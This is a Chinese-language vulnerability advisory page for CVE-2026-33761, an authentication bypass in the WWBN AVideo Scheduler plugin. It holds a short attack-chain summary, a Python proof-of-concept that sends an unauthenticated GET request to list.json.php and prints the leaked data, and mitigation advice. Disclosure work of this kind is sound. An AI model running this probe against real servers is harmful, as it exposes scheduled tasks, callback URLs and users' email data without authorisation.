IPBUF安全漏洞报告
English
CVE-2026-33761 CVSS 5.3 中危

CVE-2026-33761 WWBN AVideo认证绕过漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33761
漏洞类型
认证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

认证绕过信息泄露WWBN AVideoCVE-2026-33761

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及以下版本中,其Scheduler插件存在安全漏洞。由于三个`list.json.php`端点未进行身份验证检查,未经身份验证的攻击者可以发送简单的GET请求,获取所有计划任务、内部回调URL、管理员撰写的邮件消息以及用户邮件映射信息。该漏洞源于同目录下其他端点需要管理员权限,而这三个端点存在权限缺失,导致敏感信息泄露。

技术细节

该漏洞具体位于WWBN AVideo的Scheduler插件目录中。在受影响的版本(26.0及以下)中,开发者对`add.json.php`、`delete.json.php`和`index.php`等端点实施了`User::isAdmin()`权限检查,但却遗漏了`list.json.php`相关的三个端点。这种权限控制的不一致性构成了严重的逻辑缺陷。攻击者无需任何用户凭证,即可构造恶意的HTTP GET请求指向这些特定的列表接口。服务器端在接收到请求后,由于缺乏认证中间件的拦截,直接返回敏感的JSON格式数据。泄露的信息包括但不限于系统内部的计划任务列表、回调URL及其参数、以及管理员预设的邮件内容和目标用户列表。攻击者利用这些信息可为进一步的渗透攻击提供数据支持。官方已在提交83390ab1fa8dca2de3f8fa76116a126428405431中通过添加缺失的认证逻辑修复了此问题。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统正在使用WWBN AVideo平台,并确定其版本在26.0或以下。
STEP 2
2. 漏洞探测
攻击者构造针对Scheduler插件中`list.json.php`端点的HTTP GET请求,不携带任何认证信息。
STEP 3
3. 数据窃取
服务器由于未配置身份验证,直接返回计划任务列表、回调URL及邮件配置等敏感JSON数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_poc(target_url): """ PoC for CVE-2026-33761 Checks if the list.json.php endpoint is accessible without authentication. """ # Construct the full path to the vulnerable endpoint # The vulnerability exists in the Scheduler plugin vulnerable_path = "/plugin/Scheduler/list.json.php" full_url = target_url.rstrip('/') + vulnerable_path try: # Send a GET request without cookies or authentication headers response = requests.get(full_url, timeout=10) # Check if the response indicates success and contains JSON data if response.status_code == 200 and 'application/json' in response.headers.get('Content-Type', ''): print(f"[+] Target is vulnerable: {full_url}") print(f"[+] Response content:\n{response.text}") else: print(f"[-] Target does not appear to be vulnerable or endpoint is not found.") print(f" Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/avideo" check_poc(target)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
在升级版本之前,建议通过网络设备(如WAF、防火墙)阻断对`/plugin/Scheduler/list.json.php`路径的外部访问,或者在Web服务器配置文件中添加规则,拒绝未认证用户对此文件的访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表